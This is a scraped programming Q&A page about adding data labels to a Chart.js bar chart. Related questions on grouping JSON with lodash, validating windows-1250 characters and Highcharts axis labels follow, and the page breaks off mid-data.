I have a bar chart with an array for label (days) and another array for datasets (amounts), i need show calculates data above the bars using data label plugin. this data is provided on an api, for this example i create variables for represents this data.
XValues ( days)
YValues (Amounts)
porcentaje ( Porcentaje) I need show this porcentage value each 90 days trimester.
I need Show This
How to use datalabel charts plugin, formatter and render and display,
datasets functions
var XValues = [
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
39, 40, 41, 42, 43, 44,45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57,
58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75,
76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93,
94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109,
110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124,
125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137,138, 139,
140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153,154,
155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169,
170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184,
185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199,
200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214,
215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229,
230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244,
245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258,
259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273,
274, 275, 276, 277, 278, 279, 280, 281,282, 283, 284, 285, 286, 287, 288,
289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303,
304, 305, 306, 307, 308, 309, 310, 311, 312, 313,314, 315, 316, 317, 318,
319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333,
334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345,346, 347, 348,
349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360];
var YValues = [ 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 50000.0, 0.0, 0.0, 0.0, 0.0, 1220779.6, 130000.0, 296000.0,
1162027.14, 0.0, 0.0, 2768482.84, 373769.69, 3266877.14, 954752.3, 0.0,
2179743.89, 1119815.91, 0.0, 1546573.58, 2295188.35, 5766416.61, 2400059.89,
1362544.32, 2065125.0, 0.0, 2614227.3, 4312441.03,1567752.45, 396385.85,
784367.19, 1251550.85, 649401.57, 1960851.15, 2418563.82,
5763793.94,770000.0, 200000.0, 1000000.0, 489582.34, 8701720.72, 4233160.43,
0.0, 800000.0, 3275422.23, 0.0, 0.0, 10834000.0, 9480157.63, 5458915.89,
48660.23,3076394.38, 0.0, 1248800.0, 1300000.0, 3239404.21, 4721667.16,
6325239.51, 723000.0, 120500.0, 0.0, 2700856.83, 300000.0, 6085455.79,
12365548.65, 250000.0, 2275793.87, 816111.3, 2312688.39, 1193043.0,
1684344.47, 650000.0, 2970000.0, 0.0, 0.0, 814123.8, 3000000.0, 1482929.54,
1597000.0, 2145474.31, 883611.12, 0.0, 1344585.29, 2223230.0, 2906253.0,
1478849.38, 1100001.0, 0.0, 500347.76, 0.0, 0.0, 1002860.0, 1378000.0,
2300000.0, 0.0, 672000.0, 12794114.88, 0.0, 1533827.5, 320000.0, 2214936.52,
0.0, 0.0, 2183429.87, 1200000.0, 2215000.0, 800000.0, 959169.9, 1000000.0,
0.0, 0.0, 864901.01, 650000.0, 650000.0, 000.0, 300000.0, 239289.19,
0.0, 200000.0, 2963732.7, 0.0, 20000.0, 0.0, 0.0, 1631.66, 300000.0, 0.0,
250000.0, 250000.0, 0.0, 0.0, 0.0, 0.0, 622281.05, 0.0, 20000.0, 0.0, 0.0,
0.0, 0.0, 758217.94, 0.0, 0.0, 0.0, 0.0, 0.0, 2250000.0, 337580.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 150000.0, 0.0, 0.0, 0.0, 0.0, 855543.06,
36700.0, 0.0, 370000.0, 0.0, 0.0, 0.0, 200000.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 130000.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0 ];
var porcentajes = [30, 8, 10, 6, 3];
var barChart = new Chart(document.getElementById("sub"), {
type: 'bar',
data: {
labels: XValues,
datasets: [{
label: "Cheques",
data: YValues,
backgroundColor: "rgba(100,100,200, .4)",
borderColor: "rgba(100,100,200, 1)",
borderWidth: 1.5
}]
},
options: {
responsive: true,
legend: {
display: false,
},
tooltips: {
callbacks: {
label: function(t, d) {
return d.datasets[t.datasetIndex].label
},
afterLabel: function(t, d) {
return [t.xLabel + " Días", "$ " + t.yLabel.toLocaleString('es-AR')];
},
title: function(tooltipItem, data) {
return;
},
}
},
scales: {
xAxes: [{
barThickness: 3,
ticks: {
stepSize: 5,
autoSkip: true,
maxTicksLimit: 12
},
scaleLabel: {
display: true,
fontSize: 8,
labelString: 'Vencimiento (dias)'
},
}],
yAxes: [{
display: true,
scaleLabel: {
display: true,
fontSize: 8,
labelString: 'Importe ($)'
},
ticks: {
beginAtZero: true,
callback: function(label, index, labels) {
if (label == 0) {
return " 0";
}
if (label >= 1 && label <= 9) {
return " " + label;
}
if (label >= 10 && label <= 99) {
return " " + label;
}
if (label >= 100 && label <= 999) {
return " " + label;
}
if (label >= 1000 && label <= 9999) {
return " " + (label + "").slice(0, 1) + "K";
}
if (label >= 10000 && label <= 99999) {
return " " + (label + "").slice(0, 2) + "K";
}
if (label >= 100000 && label <= 999999) {
return "0." + (label + "").slice(0, 1) + "M";
}
if (label >= 1000000 && label <= 9999999) {
return " " + (label + "").slice(0, 1) + "M";
}
if (label >= 10000000 && label <= 99999999) {
return " " + (label + "").slice(0, 2) + "M";
}
if (label >= 100000000 && label <= 999999999) {
return (label + "").slice(0, 3) + "M";
}
if (label >= 1000000000 && label <= 9999999999) {
return " " + (label + "").slice(0, 1) + "mM";
}
if (label >= 10000000000 && label <= 99999999999) {
return (label + "").slice(0, 2) + "mM";
}
}
},
}]
},
Plugins: {
datalabels: {
anchor: 'end',
aling: 'end',
}
}
}
});
<!DOCTYPE html>
<html>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<!--Boostrap Styles-->
<!-- <link href="css/style.css" rel="stylesheet" />
<link href="css/myCustomStyle.css" rel="stylesheet" /> -->
<body>
<div class="row">
<div class="col-md-12">
<canvas id="sub" height="100"></canvas>
<!-- Bar chart-->
</div>
</div>
<!-- <script src="lib/moment/moment-with-locales.min.js"></script> -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.3/Chart.bundle.min.js"></script>
<script src="https://cdn.jsdelivr.net/gh/emn178/chartjs-plugin-labels/src/chartjs-plugin-labels.js"></script>
<!-- <script src="lib/jquery/dist/jquery.min.js"></script> -->
<!-- <script src="lib/bootstrap/dist/js/bootstrap.min.js"></script> -->
</body>
</html>
Original fiddle: https://jsfiddle.net/xqp2s567
Related
I have a JSON Object as show below.
response = [{
"Myanmar": [{
"EDCBA0000013620": {
"mou": 0.0,
"CA": 1.0,
"CCS": 0.0,
"COC": 0.0
}
}],
"Gibraltar": [{
"ABCDE0000013643": {
"mou": 12.850000381469727,
"CA": 1.0,
"CCS": 1.0,
"COC": 3.0
}
}],
"Cyprus": [{
"ABCDE0000010121": {
"mou": 36.25,
"CA": 3.0,
"CCS": 2.0,
"COC": 7.0
},
"ABCDE0000013643": {
"mou": 27.299999237060547,
"CA": 1.0,
"CCS": 1.0,
"COC": 6.0
},
"ABCDE0000013662": {
"mou": 80.59999752044678,
"CA": 4.0,
"CCS": 4.0,
"COC": 14.0
},
"ABCDE0000010328": {
"mou": 26.716670513153076,
"CA": 4.0,
"CCS": 4.0,
"COC": 6.0
}
}],
"Kazakhstan": [{
"EDCBA0000013620": {
"mou": 0.0,
"CA": 32.0,
"CCS": 0.0,
"COC": 0.0
},
"ABCDE0000013643": {
"mou": 17.0,
"CA": 1.0,
"CCS": 1.0,
"COC": 3.0
},
"ABCDE0000010121": {
"mou": 15.783329963684082,
"CA": 1.0,
"CCS": 1.0,
"COC": 4.0
},
"EDCBA0000015450": {
"mou": 11.683329582214355,
"CA": 23.0,
"CCS": 1.0,
"COC": 3.0
},
"ABCDE0000010328": {
"mou": 0.0,
"CA": 0.0,
"CCS": 0.0,
"COC": 4.0
},
"EDCBA0000015451": {
"mou": 11.316670417785645,
"CA": 29.0,
"CCS": 1.0,
"COC": 2.0
},
"EDCBA0000010541": {
"mou": 17.316669464111328,
"CA": 30.0,
"CCS": 1.0,
"COC": 3.0
}
}],
"Portugal": [{
"ABCDE0000013643": {
"mou": 352.2333300113678,
"CA": 30.0,
"CCS": 30.0,
"COC": 67.0
},
"ABCDE0000010121": {
"mou": 342.4499905705452,
"CA": 25.0,
"CCS": 24.0,
"COC": 65.0
},
"EDCBA0000013620": {
"mou": 85.1666567698121,
"CA": 3.0,
"CCS": 3.0,
"COC": 19.0
},
"ABCDE0000013662": {
"mou": 478.6499952673912,
"CA": 26.0,
"CCS": 26.0,
"COC": 92.0
},
"ABCDE0000010328": {
"mou": 347.5833450257778,
"CA": 25.0,
"CCS": 25.0,
"COC": 57.0
},
"EDCBA0000015450": {
"mou": 15.883330345153809,
"CA": 1.0,
"CCS": 1.0,
"COC": 4.0
},
"EDCBA0000055797": {
"mou": 31.799999237060547,
"CA": 2.0,
"CCS": 2.0,
"COC": 4.0
},
"EDCBA0000015451": {
"mou": 9.150000035762787,
"CA": 3.0,
"CCS": 2.0,
"COC": 1.0
},
"EDCBA0000010541": {
"mou": 57.78332122415304,
"CA": 8.0,
"CCS": 5.0,
"COC": 11.0
}
}],
"Iceland": [{
"ABCDE0000013662": {
"mou": 1.783329963684082,
"CA": 1.0,
"CCS": 1.0,
"COC": 0.0
}
}]
}]
what i want to achieve is group every country data based on the substring of keys inside every-country array.
Expected JSON:
"Cyprus": [
"ABCDE": {
"ABCDE0000010121": {
"mou": 36.25,
"CA": 3.0,
"CCS": 2.0,
"COC": 7.0
},
"ABCDE0000013643": {
"mou": 27.299999237060547,
"CA": 1.0,
"CCS": 1.0,
"COC": 6.0
}
},
"EDCBA": {
"EDCBA0000013662": {
"mou": 80.59999752044678,
"CA": 4.0,
"CCS": 4.0,
"COC": 14.0
},
"EDCBA0000010328": {
"mou": 26.716670513153076,
"CA": 4.0,
"CCS": 4.0,
"COC": 6.0
}
}
]
i tried achieving this using loadash, but didnot succeed.
below is the function i have written using loadash.
res=[
{
"Myanmar": [
{
"EDCBA0000013620": {
"mou": 0.0,
"CA": 1.0,
"CCS": 0.0,
"COC": 0.0
}
}
],
"Gibraltar": [
{
"ABCDE0000013643": {
"mou": 12.850000381469727,
"CA": 1.0,
"CCS": 1.0,
"COC": 3.0
}
}
],
"Cyprus": [
{
"ABCDE0000010121": {
"mou": 36.25,
"CA": 3.0,
"CCS": 2.0,
"COC": 7.0
},
"ABCDE0000013643": {
"mou": 27.299999237060547,
"CA": 1.0,
"CCS": 1.0,
"COC": 6.0
},
"ABCDE0000013662": {
"mou": 80.59999752044678,
"CA": 4.0,
"CCS": 4.0,
"COC": 14.0
},
"ABCDE0000010328": {
"mou": 26.716670513153076,
"CA": 4.0,
"CCS": 4.0,
"COC": 6.0
}
}
],
"Kazakhstan": [
{
"EDCBA0000013620": {
"mou": 0.0,
"CA": 32.0,
"CCS": 0.0,
"COC": 0.0
},
"ABCDE0000013643": {
"mou": 17.0,
"CA": 1.0,
"CCS": 1.0,
"COC": 3.0
},
"ABCDE0000010121": {
"mou": 15.783329963684082,
"CA": 1.0,
"CCS": 1.0,
"COC": 4.0
},
"EDCBA0000015450": {
"mou": 11.683329582214355,
"CA": 23.0,
"CCS": 1.0,
"COC": 3.0
},
"ABCDE0000010328": {
"mou": 0.0,
"CA": 0.0,
"CCS": 0.0,
"COC": 4.0
},
"EDCBA0000015451": {
"mou": 11.316670417785645,
"CA": 29.0,
"CCS": 1.0,
"COC": 2.0
},
"EDCBA0000010541": {
"mou": 17.316669464111328,
"CA": 30.0,
"CCS": 1.0,
"COC": 3.0
}
}
],
"Portugal": [
{
"ABCDE0000013643": {
"mou": 352.2333300113678,
"CA": 30.0,
"CCS": 30.0,
"COC": 67.0
},
"ABCDE0000010121": {
"mou": 342.4499905705452,
"CA": 25.0,
"CCS": 24.0,
"COC": 65.0
},
"EDCBA0000013620": {
"mou": 85.1666567698121,
"CA": 3.0,
"CCS": 3.0,
"COC": 19.0
},
"ABCDE0000013662": {
"mou": 478.6499952673912,
"CA": 26.0,
"CCS": 26.0,
"COC": 92.0
},
"ABCDE0000010328": {
"mou": 347.5833450257778,
"CA": 25.0,
"CCS": 25.0,
"COC": 57.0
},
"EDCBA0000015450": {
"mou": 15.883330345153809,
"CA": 1.0,
"CCS": 1.0,
"COC": 4.0
},
"EDCBA0000055797": {
"mou": 31.799999237060547,
"CA": 2.0,
"CCS": 2.0,
"COC": 4.0
},
"EDCBA0000015451": {
"mou": 9.150000035762787,
"CA": 3.0,
"CCS": 2.0,
"COC": 1.0
},
"EDCBA0000010541": {
"mou": 57.78332122415304,
"CA": 8.0,
"CCS": 5.0,
"COC": 11.0
}
}
],
"Iceland": [
{
"ABCDE0000013662": {
"mou": 1.783329963684082,
"CA": 1.0,
"CCS": 1.0,
"COC": 0.0
}
}
]
}
]
var result = _.map(_.flatMap(res));
// console.log(result,"result");
for (let [key, value] of Object.entries(result[0])){
for(let[ikey,ivalue]of Object.entries(value)){
for(let[valueKey,valueArr] of Object.entries(ivalue)){
// console.log(valueKey,valueArr);
valueArr.trunkId = valueKey
valueArr[name] = key;
this.groupedData.push(valueArr);
}
}
}
let result1 = _.chain(this.groupedData)
.groupBy("previewFrame")
.map((value, key) => ({ country: key, trunks: value }))
.value()
console.log(JSON.stringify(result1))
<script src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.2/lodash.min.js"></script>
I am able to group the data for one level, but in lodash how to group the array inside a Object using a substring of key.
I am stuck here,
Please help.
Thanks in Advance
You could map the entries and build a new grouping level for the countries.
var data = [{ Myanmar: [{ EDCBA0000013620: { mou: 0, CA: 1, CCS: 0, COC: 0 } }], Gibraltar: [{ ABCDE0000013643: { mou: 12.850000381469727, CA: 1, CCS: 1, COC: 3 } }], Cyprus: [{ ABCDE0000010121: { mou: 36.25, CA: 3, CCS: 2, COC: 7 }, ABCDE0000013643: { mou: 27.299999237060547, CA: 1, CCS: 1, COC: 6 }, ABCDE0000013662: { mou: 80.59999752044678, CA: 4, CCS: 4, COC: 14 }, ABCDE0000010328: { mou: 26.716670513153076, CA: 4, CCS: 4, COC: 6 } }], Kazakhstan: [{ EDCBA0000013620: { mou: 0, CA: 32, CCS: 0, COC: 0 }, ABCDE0000013643: { mou: 17, CA: 1, CCS: 1, COC: 3 }, ABCDE0000010121: { mou: 15.783329963684082, CA: 1, CCS: 1, COC: 4 }, EDCBA0000015450: { mou: 11.683329582214355, CA: 23, CCS: 1, COC: 3 }, ABCDE0000010328: { mou: 0, CA: 0, CCS: 0, COC: 4 }, EDCBA0000015451: { mou: 11.316670417785645, CA: 29, CCS: 1, COC: 2 }, EDCBA0000010541: { mou: 17.316669464111328, CA: 30, CCS: 1, COC: 3 } }], Portugal: [{ ABCDE0000013643: { mou: 352.2333300113678, CA: 30, CCS: 30, COC: 67 }, ABCDE0000010121: { mou: 342.4499905705452, CA: 25, CCS: 24, COC: 65 }, EDCBA0000013620: { mou: 85.1666567698121, CA: 3, CCS: 3, COC: 19 }, ABCDE0000013662: { mou: 478.6499952673912, CA: 26, CCS: 26, COC: 92 }, ABCDE0000010328: { mou: 347.5833450257778, CA: 25, CCS: 25, COC: 57 }, EDCBA0000015450: { mou: 15.883330345153809, CA: 1, CCS: 1, COC: 4 }, EDCBA0000055797: { mou: 31.799999237060547, CA: 2, CCS: 2, COC: 4 }, EDCBA0000015451: { mou: 9.150000035762787, CA: 3, CCS: 2, COC: 1 }, EDCBA0000010541: { mou: 57.78332122415304, CA: 8, CCS: 5, COC: 11 } }], Iceland: [{ ABCDE0000013662: { mou: 1.783329963684082, CA: 1, CCS: 1, COC: 0 } }] }],
result = data.map(o => Object.fromEntries(Object.entries(o).map(([k, v]) => [
k,
v.map(o => Object.entries(o).reduce((r, [l, w]) => {
const key = l.slice(0, 5);
r[key] = r[key] || {};
r[key][l] = w;
return r;
}, {}))
])));
console.log(result);
.as-console-wrapper { max-height: 100% !important; top: 0; }
How to verify if given character might be encoded (exists) in windows-1250 in Javascript
I need to introduce allowed characters validation in html inputs
I solved this problem by creating an array of unicode character codes which correspond to windows-1250 characters. Here is my implementation:
import * as _ from 'lodash';
const WINDOWS_1250_CHAR_CODES = [
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46,
47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76,
77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91,
92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105,
106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118,
119, 120, 121, 122, 123, 124, 125, 126, 127, 160, 164, 166, 167,
168, 169, 171, 172, 173, 174, 176, 177, 180, 181, 182, 183, 184,
187, 193, 194, 196, 199, 201, 203, 205, 206, 211, 212, 214, 215,
218, 220, 221, 223, 225, 226, 228, 231, 233, 235, 237, 238, 243,
244, 246, 247, 250, 252, 253, 258, 259, 260, 261, 262, 263, 268,
269, 270, 271, 272, 273, 280, 281, 282, 283, 313, 314, 317, 318,
321, 322, 323, 324, 327, 328, 336, 337, 340, 341, 344, 345, 346,
347, 350, 351, 352, 353, 354, 355, 356, 357, 366, 367, 368, 369,
377, 378, 379, 380, 381, 382, 711, 728, 729, 731, 733, 8211, 8212,
8216, 8217, 8218, 8220, 8221, 8222, 8224, 8225, 8226, 8230, 8240, 8249, 8250, 8364, 8482
];
export function windows1250encodingValidator(value: string): boolean {
if (_.isEmpty(value)) {
return true;
}
for (let i = 0; i < value.length; i++) {
const charCode = value.charCodeAt(i);
if (!WINDOWS_1250_CHAR_CODES.includes(charCode)) {
return false;
}
}
return true;
}
How do you prevent Highcharts from showing a cluttered x-axis labels when using dates in Highcharts?
I'm generating my graph with:
<script type="text/javascript">
$(function () {
$.getJSON("get_data", function(data) {
data.plotOptions = {
line: {
marker: {
enabled: false
}
}
};
data.chart.zoomType = 'x';
data.legend = {
layout: 'vertical',
align: 'center',
verticalAlign: 'top',
x: 10,
y: 100,
borderWidth: 0
};
data.xAxis.type = 'datetime';
data.xAxis.title = {text: 'Date'};
$('#container').highcharts(data);
});
});
</script>
and the JSON returned by get_data path looks like:
{"yAxis": {}, "title": {"style": {}, "text": null}, "series": [{"name": "Apple", "data": [1.0, -3.0, 1.0, 4.0, -5.0, 4.0, -1.0, 4.0, 2.0, -1.7741935483871, 3.0, -5.0, 3.0, 2.0, 0.0, -3.0, 1.0, -2.0, 2.0, 4.0, 1.0, -5.0, 5.0, -4.0, 0.0, 4.0, 2.0, -2.0, 0.0, 1.0, -2.0, 4.0, 0.0, -5.0, -5.0, 0.0, -5.0, 3.0, -1.0, 1.0, 4.0, 2.0, -5.0, 4.0, 0.0, 2.0, 1.0, -3.0, 5.0, -1.0, 5.0, -2.0, -4.0, 4.0, -0.324324324324324, -1.0, 3.0, -1.0, 3.0, -3.0, 5.0, 4.0, -3.0, 0.0, 4.0, 0.0, -1.678456591639871, 4.324675324675325, 4.436681222707424, 5.291545189504373, -4.0, -1.0, 3.272479564032698, 3.0, -0.738219895287958, -5.0, -3.0, 4.0, 2.0, -0.719101123595506, -5.0, 5.0, -3.202127659574468, 4.0, 1.3597122302158269, -3.74055415617128, 1.32450331125828, 1.33003300330033, -2.358974358974359, 4.0, 3.0, 4.25391849529781, 4.02564102564103, -0.49622166246851396, 0.86335403726708, 0.628930817610063, -2.89227166276347, 0.08641975308642014, 6.09597523219814, 4.5294117647058805, 1.7272727272727302, 4.406326034063261, -1.2431077694235602, 2.49019607843137, 3.2, 6.06060606060606, 4.75, 7.66830466830467, 8.0952380952381, 12.07692307692308, 3.10628019323671, 8.24242424242424, 2.5853658536585398, 8.006006006006011, -1.9969969969969998, 7.571428571428569, 3.70570570570571, 3.37017994858612, 7.75229357798165, 9.01567398119122, 6.10772833723653, 4.84615384615385, 0.7151702786377698, -1.25, 4.73186119873817, 6.68098159509202, 3.50877192982456, 5.147699757869249, 6.68098159509202, 8.64077669902913, 3.71517027863777, -1.3414634146341502, 5.53012048192771, 9.08805031446541, 8.146341463414629, 2.7021943573667704, 7.77777777777778, 7.703703703703701, 5.97628458498024, 3.3824701195219102, 4.6, 10.11620795107034, 5.60663507109005, 5.21674876847291, 8.96341463414634, -2.5, 6.05882352941176, -1.2392638036809802, 1.8679706601466997, 11.306306306306311, 1.0752351097178696, 0.8929440389294401, 9.4380664652568, 5.10059171597633, 11.33333333333333, 9.882352941176471, 5.10059171597633, 1.9069069069069098, 6.69607843137255, 5.56716417910448, 3.05952380952381, 9.918032786885249, 6.51807228915663, 5.43137254901961, 6.42477876106195, 9.68384074941452, 2.98507462686567, 7.43786982248521, 7.25581395348837, 0.9215686274509798, 9.65116279069767, 2.1515151515151496, 7.71698113207547, 2.82352941176471, -1.1896955503512898, -0.48093841642229007, 4.71976401179941, 6.94117647058824, 10.56844547563805, 3.95626822157434, 6.6379821958457, 2.31400966183575, 7.33734939759036, 8.48837209302326, 6.62060889929742, 5.76368876080692, 10.341246290801191, 5.43735224586288, 3.5527065527065496, 1.4631828978622297, 2.25075528700906, 8.7463556851312, 8.84955752212389, 3.5268065268065296, 6.720823798627, 4.94296577946768, 3.08083140877598, 8.88235294117647, 2.89473684210526, 2.55555555555556, 8.7246376811594, 1.9767441860465098, 15.7558139534884, 10.64705882352941, 8.3053435114504, 5.48854961832061, 8.142857142857139, 2.85480093676815, 10.387205387205391, 9.0, 3.94117647058824], "showInLegend": true}, {"name": "Orange", "data": [2.0, 2.0, 4.0, -4.0, 3.0, -1.0, 0.0, 2.0, 4.0, 3.0, -4.0, 2.0, -2.0, 1.0, 2.0, 3.0, 0.0, -1.0, 0.0, -2.0, 4.0, 1.0, 5.0, 4.0, -1.0, -3.0, -5.0, -3.0, -3.0, 3.0, -2.0, -2.0, 0.0, 3.0, -3.0, -1.0, 0.0, 5.0, 4.0, -3.0, -2.0, 0.0, 0.0, 4.0, 0.0, 0.0, -4.0, 0.0, -3.0, 2.0, -1.0, 4.0, -2.0, -3.0, -5.0, 1.0, -5.0, -1.0, -1.0, 1.0, 1.0, -3.0, 5.0, -4.0, -3.0, -3.0, -4.0, -4.0, -5.0, 1.0, 5.0, 1.0, -1.0, 0.0, 2.0, -2.5555555555555562, -1.0, 0.0, -1.0, 5.0, 5.467289719626168, 0.0, -2.0, 1.0, 1.0, 0.0, -1.0, -2.0, 4.0, 5.0, 3.0, 3.0, -3.0, 5.0, -3.0, 0.0, 1.0, -4.0, -5.0, 1.0, -3.0, 3.0, 5.0, 3.0, 5.0, -5.0, 5.0, 5.0, 0.0, -2.0, -3.0, 4.0, 3.0, -5.0, -5.0, 1.0, 3.0, -4.74293059125964, -5.0, 0.313479623824451, 5.0, 3.0, 4.0, 1.0, -2.0, -1.0, 2.0, -3.757869249394673, 4.0, 5.0, 0.0, 0.48780487804878, 1.0, -4.0, 2.0, 5.0, 4.3086419753086425, 0.0, -5.0, 1.0, 4.0, -3.0, -4.0, 3.0, 1.0, -5.0, 1.0, -1.0, 3.0, -1.0, 3.0, 1.0, 1.0, 4.0, -3.702380952380952, 1.0, 5.0, 0.0, 5.0, -1.0, 3.0, 1.0, -3.0, 1.0, -2.0, 2.234192037470726, -5.0, -2.0, -3.0, -2.0, 2.0, 2.0, 4.0, 1.294117647058824, -5.0, -2.0, 0.0, 5.0, -3.0, 1.0, 4.0, -2.758454106280193, 5.0, 4.0, 4.17096018735363, -3.84726224783862, -3.0, -2.0543735224586293, 4.854700854700855, -1.33729216152019, 0.906344410876133, 3.8746355685131197, 1.17994100294985, 7.29370629370629, 1.03432494279176, 0.8022813688212902, 8.00461893764434, 9.705882352941181, 4.39097744360902, 2.00925925925926, 4.869565217391304, 3.232558139534884, 2.8720930232558137, -2.117647058823529, 2.954198473282443, -2.236641221374046, 1.0, 4.702576112412178, 3.0, 5.680851063829787, -3.0], "showInLegend": true}, {"name": "Pear", "data": [4.0, 1.0, -2.0, 1.0, 1.0, -4.0, -1.0, -5.0, -1.0, 0.0, -2.0, 1.0, 1.0, -2.0, -4.0, -4.0, 3.0, 2.0, -5.0, 1.0, 1.0, -1.0, -4.0, 5.0, -5.0, 0.0, 5.0, 4.0, -2.0, 5.0, -1.0, -2.0, 4.0, -1.0, -5.0, 4.0, -3.0, 4.0, 5.0, 5.0, -1.0, 0.0, 3.0, 3.50375939849624, -2.0, 5.0, -5.0, -5.0, -3.0, 1.0, -4.0, 3.0, -2.0, 2.980392156862745, 5.0, 3.0, 0.0, -4.0, 0.0, -3.0, -2.0, -1.0, 4.0, 5.0, 3.24330900243309, 3.0, 3.643086816720257, -4.675324675324675, 3.31004366812227, -3.7084548104956268, 4.0, 0.51150895140665, 5.544959128065395, -4.553571428571429, 0.0, 5.0, 1.0, 4.248756218905473, 0.0, 4.561797752808989, 3.467289719626168, -1.74025974025974, 3.265957446808511, -2.326599326599327, 3.359712230215827, 2.0, 0.0, 1.33003300330033, -5.0, -1.757281553398058, -4.696048632218845, 4.0, 4.256410256410256, 5.251889168765743, 2.0, 0.628930817610063, -2.0, -0.691358024691358, 0.0, 0.294117647058824, 5.303030303030303, 0.24330900243309, 3.0, 3.0, -1.4, -5.0, -1.583333333333333, -2.017199017199017, 3.297619047619048, 5.0, 3.241545893719807, -5.0, -3.0, -0.6996996996997, -4.0, 4.255102040816327, -2.6996996996997, 2.7712082262210798, -5.0, 2.0, 2.0, -4.408284023668639, -0.690402476780186, -2.75, 3.315457413249211, -0.386503067484663, -3.707602339181287, 2.0, 2.920245398773006, -4.0, -4.0, -0.51219512195122, -1.698795180722892, 3.0, 1.24390243902439, 0.5673981191222599, 2.617283950617284, 0.493827160493827, 2.395256916996047, 2.398406374501992, -3.0, -4.388379204892966, -5.0, 2.246305418719212, 1.6097560975609762, -2.0, 1.0, 2.0, -4.755501222493888, -1.7987987987988, -2.0595611285266457, -0.75669099756691, 1.302114803625378, 2.4792899408283997, -5.0, 0.235294117647059, -2.0, -1.0, 1.0, 0.597014925373134, -3.404761904761905, 1.7025761124121779, -2.0, -3.264705882352941, 3.294985250737463, 5.234192037470726, 2.5970149253731343, 5.29585798816568, -1.767441860465116, 5.0, 5.465116279069767, 0.303030303030303, 4.471698113207547, 4.882352941176471, -3.297423887587822, 0.586510263929619, -1.705014749262537, 0.0, -3.535962877030162, -2.7084548104956268, 4.29673590504451, 2.241545893719807, -4.759036144578313, -4.0, -1.0, 0.5936599423631099, 2.18694362017804, 1.0189125295508301, 4.12820512820513, 6.37529691211401, 2.02114803625378, 3.08163265306122, 7.71976401179941, 8.4219114219114, 17.6453089244851, 3.22433460076046, 17.2401847575058, 15.8235294117647, 16.3007518796992, 19.75, 14.681159420289902, 22.2325581395349, 40.5697674418605, 40.3529411764706, 51.618320610687, 